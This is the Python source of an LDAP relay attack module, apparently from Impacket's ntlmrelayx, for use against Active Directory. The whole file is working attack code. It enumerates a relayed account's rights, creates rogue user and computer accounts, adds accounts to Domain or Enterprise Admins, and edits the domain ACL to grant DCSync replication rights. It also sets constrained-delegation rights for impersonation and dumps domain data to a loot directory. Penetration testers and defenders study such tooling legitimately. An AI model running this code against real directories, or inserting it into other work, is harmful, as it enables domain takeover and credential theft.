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# SECUREAUTH LABS. Copyright 2018 SecureAuth Corporation. All rights reserved. 

# 

# This software is provided under under a slightly modified version 

# of the Apache Software License. See the accompanying LICENSE file 

# for more information. 

# 

# LDAP Attack Class 

# 

# Authors: 

# Alberto Solino (@agsolino) 

# Dirk-jan Mollema (@_dirkjan) / Fox-IT (https://www.fox-it.com) 

# 

# Description: 

# LDAP(s) protocol relay attack 

# 

# ToDo: 

# 

import _thread 

import random 

import string 

import json 

import datetime 

import binascii 

import codecs 

import re 

import ldap3 

import ldapdomaindump 

from ldap3.core.results import RESULT_UNWILLING_TO_PERFORM 

from ldap3.utils.conv import escape_filter_chars 

 

from impacket import LOG 

from impacket.examples.ntlmrelayx.attacks import ProtocolAttack 

from impacket.ldap import ldaptypes 

from impacket.ldap.ldaptypes import ACCESS_ALLOWED_OBJECT_ACE, ACCESS_MASK, ACCESS_ALLOWED_ACE, ACE, OBJECTTYPE_GUID_MAP 

from impacket.uuid import string_to_bin, bin_to_string 

 

# This is new from ldap3 v2.5 

try: 

from ldap3.protocol.microsoft import security_descriptor_control 

except ImportError: 

# We use a print statement because the logger is not initialized yet here 

print('Failed to import required functions from ldap3. ntlmrelayx required ldap3 >= 2.5.0. \ 

Please update with pip install ldap3 --upgrade') 

PROTOCOL_ATTACK_CLASS = "LDAPAttack" 

 

# Define global variables to prevent dumping the domain twice 

# and to prevent privilege escalating more than once 

dumpedDomain = False 

alreadyEscalated = False 

alreadyAddedComputer = False 

delegatePerformed = [] 

class LDAPAttack(ProtocolAttack): 

""" 

This is the default LDAP attack. It checks the privileges of the relayed account 

and performs a domaindump if the user does not have administrative privileges. 

If the user is an Enterprise or Domain admin, a new user is added to escalate to DA. 

""" 

PLUGIN_NAMES = ["LDAP", "LDAPS"] 

 

# ACL constants 

# When reading, these constants are actually represented by 

# the following for Active Directory specific Access Masks 

# Reference: https://docs.microsoft.com/en-us/dotnet/api/system.directoryservices.activedirectoryrights?view=netframework-4.7.2 

GENERIC_READ = 0x00020094 

GENERIC_WRITE = 0x00020028 

GENERIC_EXECUTE = 0x00020004 

GENERIC_ALL = 0x000F01FF 

 

def __init__(self, config, LDAPClient, username): 

ProtocolAttack.__init__(self, config, LDAPClient, username) 

 

def addComputer(self, parent, domainDumper): 

""" 

Add a new computer. Parent is preferably CN=computers,DC=Domain,DC=local, but can 

also be an OU or other container where we have write privileges 

""" 

global alreadyAddedComputer 

if alreadyAddedComputer: 

LOG.error('New computer already added. Refusing to add another') 

return 

 

# Random password 

newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) 

 

# Get the domain we are in 

domaindn = domainDumper.root 

domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] 

 

# Random computername 

newComputer = (''.join(random.choice(string.ascii_letters) for _ in range(8)) + '$').upper() 

computerHostname = newComputer[:-1] 

newComputerDn = ('CN=%s,%s' % (computerHostname, parent)).encode('utf-8') 

 

# Default computer SPNs 

spns = [ 

'HOST/%s' % computerHostname, 

'HOST/%s.%s' % (computerHostname, domain), 

'RestrictedKrbHost/%s' % computerHostname, 

'RestrictedKrbHost/%s.%s' % (computerHostname, domain), 

] 

ucd = { 

'dnsHostName': '%s.%s' % (computerHostname, domain), 

'userAccountControl': 4096, 

'servicePrincipalName': spns, 

'sAMAccountName': newComputer, 

'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') 

} 

LOG.debug('New computer info %s', ucd) 

LOG.info('Attempting to create computer in: %s', parent) 

res = self.client.add(newComputerDn.decode('utf-8'), ['top','person','organizationalPerson','user','computer'], ucd) 

if not res: 

# Adding computers requires LDAPS 

if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: 

LOG.error('Failed to add a new computer. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing account.') 

else: 

LOG.error('Failed to add a new computer: %s' % str(self.client.result)) 

return False 

else: 

LOG.info('Adding new computer with username: %s and password: %s result: OK' % (newComputer, newPassword)) 

alreadyAddedComputer = True 

# Return the SAM name 

return newComputer 

 

def addUser(self, parent, domainDumper): 

""" 

Add a new user. Parent is preferably CN=Users,DC=Domain,DC=local, but can 

also be an OU or other container where we have write privileges 

""" 

global alreadyEscalated 

if alreadyEscalated: 

LOG.error('New user already added. Refusing to add another') 

return 

 

# Random password 

newPassword = ''.join(random.choice(string.ascii_letters + string.digits + string.punctuation) for _ in range(15)) 

 

# Random username 

newUser = ''.join(random.choice(string.ascii_letters) for _ in range(10)) 

newUserDn = 'CN=%s,%s' % (newUser, parent) 

ucd = { 

'objectCategory': 'CN=Person,CN=Schema,CN=Configuration,%s' % domainDumper.root, 

'distinguishedName': newUserDn, 

'cn': newUser, 

'sn': newUser, 

'givenName': newUser, 

'displayName': newUser, 

'name': newUser, 

'userAccountControl': 512, 

'accountExpires': '0', 

'sAMAccountName': newUser, 

'unicodePwd': '"{}"'.format(newPassword).encode('utf-16-le') 

} 

LOG.info('Attempting to create user in: %s', parent) 

res = self.client.add(newUserDn, ['top', 'person', 'organizationalPerson', 'user'], ucd) 

if not res: 

# Adding users requires LDAPS 

if self.client.result['result'] == RESULT_UNWILLING_TO_PERFORM and not self.client.server.ssl: 

LOG.error('Failed to add a new user. The server denied the operation. Try relaying to LDAP with TLS enabled (ldaps) or escalating an existing user.') 

else: 

LOG.error('Failed to add a new user: %s' % str(self.client.result)) 

return False 

else: 

LOG.info('Adding new user with username: %s and password: %s result: OK' % (newUser, newPassword)) 

 

# Return the DN 

return newUserDn 

 

def addUserToGroup(self, userDn, domainDumper, groupDn): 

global alreadyEscalated 

# For display only 

groupName = groupDn.split(',')[0][3:] 

userName = userDn.split(',')[0][3:] 

# Now add the user as a member to this group 

res = self.client.modify(groupDn, { 

'member': [(ldap3.MODIFY_ADD, [userDn])]}) 

if res: 

LOG.info('Adding user: %s to group %s result: OK' % (userName, groupName)) 

LOG.info('Privilege escalation succesful, shutting down...') 

alreadyEscalated = True 

_thread.interrupt_main() 

else: 

LOG.error('Failed to add user to %s group: %s' % (groupName, str(self.client.result))) 

 

def delegateAttack(self, usersam, targetsam, domainDumper): 

global delegatePerformed 

if targetsam in delegatePerformed: 

LOG.info('Delegate attack already performed for this computer, skipping') 

return 

 

if not usersam: 

usersam = self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) 

self.config.escalateuser = usersam 

 

# Get escalate user sid 

result = self.getUserInfo(domainDumper, usersam) 

if not result: 

LOG.error('User to escalate does not exist!') 

return 

escalate_sid = str(result[1]) 

 

# Get target computer DN 

result = self.getUserInfo(domainDumper, targetsam) 

if not result: 

LOG.error('Computer to modify does not exist! (wrong domain?)') 

return 

target_dn = result[0] 

 

self.client.search(target_dn, '(objectClass=*)', search_scope=ldap3.BASE, attributes=['SAMAccountName','objectSid', 'msDS-AllowedToActOnBehalfOfOtherIdentity']) 

targetuser = None 

for entry in self.client.response: 

if entry['type'] != 'searchResEntry': 

continue 

targetuser = entry 

if not targetuser: 

LOG.error('Could not query target user properties') 

return 

try: 

sd = ldaptypes.SR_SECURITY_DESCRIPTOR(data=targetuser['raw_attributes']['msDS-AllowedToActOnBehalfOfOtherIdentity'][0]) 

LOG.debug('Currently allowed sids:') 

for ace in sd['Dacl'].aces: 

LOG.debug(' %s' % ace['Ace']['Sid'].formatCanonical()) 

except IndexError: 

# Create DACL manually 

sd = create_empty_sd() 

sd['Dacl'].aces.append(create_allow_ace(escalate_sid)) 

self.client.modify(targetuser['dn'], {'msDS-AllowedToActOnBehalfOfOtherIdentity':[ldap3.MODIFY_REPLACE, [sd.getData()]]}) 

if self.client.result['result'] == 0: 

LOG.info('Delegation rights modified succesfully!') 

LOG.info('%s can now impersonate users on %s via S4U2Proxy', usersam, targetsam) 

delegatePerformed.append(targetsam) 

else: 

if self.client.result['result'] == 50: 

LOG.error('Could not modify object, the server reports insufficient rights: %s', self.client.result['message']) 

elif self.client.result['result'] == 19: 

LOG.error('Could not modify object, the server reports a constrained violation: %s', self.client.result['message']) 

else: 

LOG.error('The server returned an error: %s', self.client.result['message']) 

return 

 

def aclAttack(self, userDn, domainDumper): 

global alreadyEscalated 

if alreadyEscalated: 

LOG.error('ACL attack already performed. Refusing to continue') 

return 

 

# Dictionary for restore data 

restoredata = {} 

 

# Query for the sid of our user 

self.client.search(userDn, '(objectCategory=user)', attributes=['sAMAccountName', 'objectSid']) 

entry = self.client.entries[0] 

username = entry['sAMAccountName'].value 

usersid = entry['objectSid'].value 

LOG.debug('Found sid for user %s: %s' % (username, usersid)) 

 

# Set SD flags to only query for DACL 

controls = security_descriptor_control(sdflags=0x04) 

alreadyEscalated = True 

 

LOG.info('Querying domain security descriptor') 

self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) 

entry = self.client.entries[0] 

secDescData = entry['nTSecurityDescriptor'].raw_values[0] 

secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR(data=secDescData) 

 

# Save old SD for restore purposes 

restoredata['old_sd'] = binascii.hexlify(secDescData).decode('utf-8') 

restoredata['target_sid'] = usersid 

 

secDesc['Dacl']['Data'].append(create_object_ace('1131f6aa-9c07-11d1-f79f-00c04fc2dcd2', usersid)) 

secDesc['Dacl']['Data'].append(create_object_ace('1131f6ad-9c07-11d1-f79f-00c04fc2dcd2', usersid)) 

dn = entry.entry_dn 

data = secDesc.getData() 

self.client.modify(dn, {'nTSecurityDescriptor':(ldap3.MODIFY_REPLACE, [data])}, controls=controls) 

if self.client.result['result'] == 0: 

alreadyEscalated = True 

LOG.info('Success! User %s now has Replication-Get-Changes-All privileges on the domain', username) 

LOG.info('Try using DCSync with secretsdump.py and this user :)') 

 

# Query the SD again to see what AD made of it 

self.client.search(domainDumper.root, '(&(objectCategory=domain))', attributes=['SAMAccountName','nTSecurityDescriptor'], controls=controls) 

entry = self.client.entries[0] 

newSD = entry['nTSecurityDescriptor'].raw_values[0] 

# Save this to restore the SD later on 

restoredata['target_dn'] = dn 

restoredata['new_sd'] = binascii.hexlify(newSD).decode('utf-8') 

restoredata['success'] = True 

self.writeRestoreData(restoredata, dn) 

return True 

else: 

LOG.error('Error when updating ACL: %s' % self.client.result) 

return False 

 

def writeRestoreData(self, restoredata, domaindn): 

output = {} 

domain = re.sub(',DC=', '.', domaindn[domaindn.find('DC='):], flags=re.I)[3:] 

output['config'] = {'server':self.client.server.host,'domain':domain} 

output['history'] = [{'operation': 'add_domain_sync', 'data': restoredata, 'contextuser': self.username}] 

now = datetime.datetime.now() 

filename = 'aclpwn-%s.restore' % now.strftime("%Y%m%d-%H%M%S") 

# Save the json to file 

with codecs.open(filename, 'w', 'utf-8') as outfile: 

json.dump(output, outfile) 

LOG.info('Saved restore state to %s', filename) 

 

def validatePrivileges(self, uname, domainDumper): 

# Find the user's DN 

membersids = [] 

sidmapping = {} 

privs = { 

'create': False, # Whether we can create users 

'createIn': None, # Where we can create users 

'escalateViaGroup': False, # Whether we can escalate via a group 

'escalateGroup': None, # The group we can escalate via 

'aclEscalate': False, # Whether we can escalate via ACL on the domain object 

'aclEscalateIn': None # The object which ACL we can edit 

} 

self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(uname), attributes=['objectSid', 'primaryGroupId']) 

user = self.client.entries[0] 

usersid = user['objectSid'].value 

sidmapping[usersid] = user.entry_dn 

membersids.append(usersid) 

# The groups the user is a member of 

self.client.search(domainDumper.root, '(member:1.2.840.113556.1.4.1941:=%s)' % escape_filter_chars(user.entry_dn), attributes=['name', 'objectSid']) 

LOG.debug('User is a member of: %s' % self.client.entries) 

for entry in self.client.entries: 

sidmapping[entry['objectSid'].value] = entry.entry_dn 

membersids.append(entry['objectSid'].value) 

# Also search by primarygroupid 

# First get domain SID 

self.client.search(domainDumper.root, '(objectClass=domain)', attributes=['objectSid']) 

domainsid = self.client.entries[0]['objectSid'].value 

gid = user['primaryGroupId'].value 

# Now search for this group by SID 

self.client.search(domainDumper.root, '(objectSid=%s-%d)' % (domainsid, gid), attributes=['name', 'objectSid', 'distinguishedName']) 

group = self.client.entries[0] 

LOG.debug('User is a member of: %s' % self.client.entries) 

# Add the group sid of the primary group to the list 

sidmapping[group['objectSid'].value] = group.entry_dn 

membersids.append(group['objectSid'].value) 

controls = security_descriptor_control(sdflags=0x05) # Query Owner and Dacl 

# Now we have all the SIDs applicable to this user, now enumerate the privileges of domains and OUs 

entries = self.client.extend.standard.paged_search(domainDumper.root, '(|(objectClass=domain)(objectClass=organizationalUnit))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) 

self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) 

# Also get the privileges on the default Users container 

entries = self.client.extend.standard.paged_search(domainDumper.root, '(&(cn=Users)(objectClass=container))', attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls, generator=True) 

self.checkSecurityDescriptors(entries, privs, membersids, sidmapping, domainDumper) 

 

# Interesting groups we'd like to be a member of, in order of preference 

interestingGroups = [ 

'%s-%d' % (domainsid, 519), # Enterprise admins 

'%s-%d' % (domainsid, 512), # Domain admins 

'S-1-5-32-544', # Built-in Administrators 

'S-1-5-32-551', # Backup operators 

'S-1-5-32-548', # Account operators 

] 

privs['escalateViaGroup'] = False 

for group in interestingGroups: 

self.client.search(domainDumper.root, '(objectSid=%s)' % group, attributes=['nTSecurityDescriptor', 'objectClass'], controls=controls) 

groupdata = self.client.response 

self.checkSecurityDescriptors(groupdata, privs, membersids, sidmapping, domainDumper) 

if privs['escalateViaGroup']: 

# We have a result - exit the loop 

break 

return (usersid, privs) 

 

def getUserInfo(self, domainDumper, samname): 

entries = self.client.search(domainDumper.root, '(sAMAccountName=%s)' % escape_filter_chars(samname), attributes=['objectSid']) 

try: 

dn = self.client.entries[0].entry_dn 

sid = self.client.entries[0]['objectSid'] 

return (dn, sid) 

except IndexError: 

LOG.error('User not found in LDAP: %s' % samname) 

return False 

 

def checkSecurityDescriptors(self, entries, privs, membersids, sidmapping, domainDumper): 

standardrights = [ 

self.GENERIC_ALL, 

self.GENERIC_WRITE, 

self.GENERIC_READ, 

ACCESS_MASK.WRITE_DACL 

] 

for entry in entries: 

if entry['type'] != 'searchResEntry': 

continue 

dn = entry['dn'] 

try: 

sdData = entry['raw_attributes']['nTSecurityDescriptor'][0] 

except IndexError: 

# We don't have the privileges to read this security descriptor 

LOG.debug('Access to security descriptor was denied for DN %s', dn) 

continue 

hasFullControl = False 

secDesc = ldaptypes.SR_SECURITY_DESCRIPTOR() 

secDesc.fromString(sdData) 

if secDesc['OwnerSid'] != '' and secDesc['OwnerSid'].formatCanonical() in membersids: 

sid = secDesc['OwnerSid'].formatCanonical() 

LOG.debug('Permission found: Full Control on %s; Reason: Owner via %s' % (dn, sidmapping[sid])) 

hasFullControl = True 

# Iterate over all the ACEs 

for ace in secDesc['Dacl'].aces: 

sid = ace['Ace']['Sid'].formatCanonical() 

if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['AceType'] != ACCESS_ALLOWED_ACE.ACE_TYPE: 

continue 

if not ace.hasFlag(ACE.INHERITED_ACE) and ace.hasFlag(ACE.INHERIT_ONLY_ACE): 

# ACE is set on this object, but only inherited, so not applicable to us 

continue 

 

# Check if the ACE has restrictions on object type (inherited case) 

if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ 

and ace.hasFlag(ACE.INHERITED_ACE) \ 

and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_INHERITED_OBJECT_TYPE_PRESENT): 

# Verify if the ACE applies to this object type 

inheritedObjectType = bin_to_string(ace['Ace']['InheritedObjectType']).lower() 

if not self.aceApplies(inheritedObjectType, entry['raw_attributes']['objectClass'][-1]): 

continue 

# Check for non-extended rights that may not apply to us 

if ace['Ace']['Mask']['Mask'] in standardrights or ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL): 

# Check if this applies to our objecttype 

if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT): 

objectType = bin_to_string(ace['Ace']['ObjectType']).lower() 

if not self.aceApplies(objectType, entry['raw_attributes']['objectClass'][-1]): 

# LOG.debug('ACE does not apply, only to %s', objectType) 

continue 

if sid in membersids: 

# Generic all 

if ace['Ace']['Mask'].hasPriv(self.GENERIC_ALL): 

ace.dump() 

LOG.debug('Permission found: Full Control on %s; Reason: GENERIC_ALL via %s' % (dn, sidmapping[sid])) 

hasFullControl = True 

if can_create_users(ace) or hasFullControl: 

if not hasFullControl: 

LOG.debug('Permission found: Create users in %s; Reason: Granted to %s' % (dn, sidmapping[sid])) 

if dn == 'CN=Users,%s' % domainDumper.root: 

# We can create users in the default container, this is preferred 

privs['create'] = True 

privs['createIn'] = dn 

else: 

# Could be a different OU where we have access 

# store it until we find a better place 

if privs['createIn'] != 'CN=Users,%s' % domainDumper.root and b'organizationalUnit' in entry['raw_attributes']['objectClass']: 

privs['create'] = True 

privs['createIn'] = dn 

if can_add_member(ace) or hasFullControl: 

if b'group' in entry['raw_attributes']['objectClass']: 

# We can add members to a group 

if not hasFullControl: 

LOG.debug('Permission found: Add member to %s; Reason: Granted to %s' % (dn, sidmapping[sid])) 

privs['escalateViaGroup'] = True 

privs['escalateGroup'] = dn 

if ace['Ace']['Mask'].hasPriv(ACCESS_MASK.WRITE_DACL) or hasFullControl: 

# Check if the ACE is an OBJECT ACE, if so the WRITE_DACL is applied to 

# a property, which is both weird and useless, so we skip it 

if ace['AceType'] == ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE \ 

and ace['Ace'].hasFlag(ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT): 

# LOG.debug('Skipping WRITE_DACL since it has an ObjectType set') 

continue 

if not hasFullControl: 

LOG.debug('Permission found: Write Dacl of %s; Reason: Granted to %s' % (dn, sidmapping[sid])) 

# We can modify the domain Dacl 

if b'domain' in entry['raw_attributes']['objectClass']: 

privs['aclEscalate'] = True 

privs['aclEscalateIn'] = dn 

 

@staticmethod 

def aceApplies(ace_guid, object_class): 

''' 

Checks if an ACE applies to this object (based on object classes). 

Note that this function assumes you already verified that InheritedObjectType is set (via the flag). 

If this is not set, the ACE applies to all object types. 

''' 

try: 

our_ace_guid = OBJECTTYPE_GUID_MAP[object_class] 

except KeyError: 

return False 

if ace_guid == our_ace_guid: 

return True 

# If none of these match, the ACE does not apply to this object 

return False 

 

 

def run(self): 

#self.client.search('dc=vulnerable,dc=contoso,dc=com', '(objectclass=person)') 

#print self.client.entries 

global dumpedDomain 

# Set up a default config 

domainDumpConfig = ldapdomaindump.domainDumpConfig() 

 

# Change the output directory to configured rootdir 

domainDumpConfig.basepath = self.config.lootdir 

 

# Create new dumper object 

domainDumper = ldapdomaindump.domainDumper(self.client.server, self.client, domainDumpConfig) 

 

# If specified validate the user's privileges. This might take a while on large domains but will 

# identify the proper containers for escalating via the different techniques. 

if self.config.validateprivs: 

LOG.info('Enumerating relayed user\'s privileges. This may take a while on large domains') 

userSid, privs = self.validatePrivileges(self.username, domainDumper) 

if privs['create']: 

LOG.info('User privileges found: Create user') 

if privs['escalateViaGroup']: 

name = privs['escalateGroup'].split(',')[0][3:] 

LOG.info('User privileges found: Adding user to a privileged group (%s)' % name) 

if privs['aclEscalate']: 

LOG.info('User privileges found: Modifying domain ACL') 

 

# If validation of privileges is not desired, we assumed that the user has permissions to escalate 

# an existing user via ACL attacks. 

else: 

LOG.info('Assuming relayed user has privileges to escalate a user via ACL attack') 

privs = dict() 

privs['create'] = False 

privs['aclEscalate'] = True 

privs['escalateViaGroup'] = False 

 

# We prefer ACL escalation since it is more quiet 

if self.config.aclattack and privs['aclEscalate']: 

LOG.debug('Performing ACL attack') 

if self.config.escalateuser: 

# We can escalate an existing user 

result = self.getUserInfo(domainDumper, self.config.escalateuser) 

# Unless that account does not exist of course 

if not result: 

LOG.error('Unable to escalate without a valid user, aborting.') 

return 

userDn, userSid = result 

# Perform the ACL attack 

self.aclAttack(userDn, domainDumper) 

return 

elif privs['create']: 

# Create a nice shiny new user for the escalation 

userDn = self.addUser(privs['createIn'], domainDumper) 

if not userDn: 

LOG.error('Unable to escalate without a valid user, aborting.') 

return 

# Perform the ACL attack 

self.aclAttack(userDn, domainDumper) 

return 

else: 

LOG.error('Cannot perform ACL escalation because we do not have create user '\ 

'privileges. Specify a user to assign privileges to with --escalate-user') 

 

# If we can't ACL escalate, try adding us to a privileged group 

if self.config.addda and privs['escalateViaGroup']: 

LOG.debug('Performing Group attack') 

if self.config.escalateuser: 

# We can escalate an existing user 

result = self.getUserInfo(domainDumper, self.config.escalateuser) 

# Unless that account does not exist of course 

if not result: 

LOG.error('Unable to escalate without a valid user, aborting.') 

return 

userDn, userSid = result 

# Perform the Group attack 

self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) 

return 

elif privs['create']: 

# Create a nice shiny new user for the escalation 

userDn = self.addUser(privs['createIn'], domainDumper) 

if not userDn: 

LOG.error('Unable to escalate without a valid user, aborting.') 

return 

# Perform the Group attack 

self.addUserToGroup(userDn, domainDumper, privs['escalateGroup']) 

return 

else: 

LOG.error('Cannot perform ACL escalation because we do not have create user '\ 

'privileges. Specify a user to assign privileges to with --escalate-user') 

 

# Perform the Delegate attack if it is enabled and we relayed a computer account 

if self.config.delegateaccess and self.username[-1] == '$': 

self.delegateAttack(self.config.escalateuser, self.username, domainDumper) 

return 

 

# Add a new computer if that is requested 

# privileges required are not yet enumerated, neither is ms-ds-MachineAccountQuota 

if self.config.addcomputer: 

self.addComputer('CN=Computers,%s' % domainDumper.root, domainDumper) 

return 

 

# Last attack, dump the domain if no special privileges are present 

if not dumpedDomain and self.config.dumpdomain: 

# Do this before the dump is complete because of the time this can take 

dumpedDomain = True 

LOG.info('Dumping domain info for first time') 

domainDumper.domainDump() 

LOG.info('Domain info dumped into lootdir!') 

 

# Create an object ACE with the specified privguid and our sid 

def create_object_ace(privguid, sid): 

nace = ldaptypes.ACE() 

nace['AceType'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE 

nace['AceFlags'] = 0x00 

acedata = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE() 

acedata['Mask'] = ldaptypes.ACCESS_MASK() 

acedata['Mask']['Mask'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CONTROL_ACCESS 

acedata['ObjectType'] = string_to_bin(privguid) 

acedata['InheritedObjectType'] = b'' 

acedata['Sid'] = ldaptypes.LDAP_SID() 

acedata['Sid'].fromCanonical(sid) 

assert sid == acedata['Sid'].formatCanonical() 

acedata['Flags'] = ldaptypes.ACCESS_ALLOWED_OBJECT_ACE.ACE_OBJECT_TYPE_PRESENT 

nace['Ace'] = acedata 

return nace 

 

# Create an ALLOW ACE with the specified sid 

def create_allow_ace(sid): 

nace = ldaptypes.ACE() 

nace['AceType'] = ldaptypes.ACCESS_ALLOWED_ACE.ACE_TYPE 

nace['AceFlags'] = 0x00 

acedata = ldaptypes.ACCESS_ALLOWED_ACE() 

acedata['Mask'] = ldaptypes.ACCESS_MASK() 

acedata['Mask']['Mask'] = 983551 # Full control 

acedata['Sid'] = ldaptypes.LDAP_SID() 

acedata['Sid'].fromCanonical(sid) 

nace['Ace'] = acedata 

return nace 

 

def create_empty_sd(): 

sd = ldaptypes.SR_SECURITY_DESCRIPTOR() 

sd['Revision'] = b'\x01' 

sd['Sbz1'] = b'\x00' 

sd['Control'] = 32772 

sd['OwnerSid'] = ldaptypes.LDAP_SID() 

# BUILTIN\Administrators 

sd['OwnerSid'].fromCanonical('S-1-5-32-544') 

sd['GroupSid'] = b'' 

sd['Sacl'] = b'' 

acl = ldaptypes.ACL() 

acl['AclRevision'] = 4 

acl['Sbz1'] = 0 

acl['Sbz2'] = 0 

acl.aces = [] 

sd['Dacl'] = acl 

return sd 

 

# Check if an ACE allows for creation of users 

def can_create_users(ace): 

createprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_CREATE_CHILD) 

if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'': 

return False 

userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf967aba-0de6-11d0-a285-00aa003049e2' 

return createprivs and userprivs 

 

# Check if an ACE allows for adding members 

def can_add_member(ace): 

writeprivs = ace['Ace']['Mask'].hasPriv(ACCESS_ALLOWED_OBJECT_ACE.ADS_RIGHT_DS_WRITE_PROP) 

if ace['AceType'] != ACCESS_ALLOWED_OBJECT_ACE.ACE_TYPE or ace['Ace']['ObjectType'] == b'': 

return writeprivs 

userprivs = bin_to_string(ace['Ace']['ObjectType']).lower() == 'bf9679c0-0de6-11d0-a285-00aa003049e2' 

return writeprivs and userprivs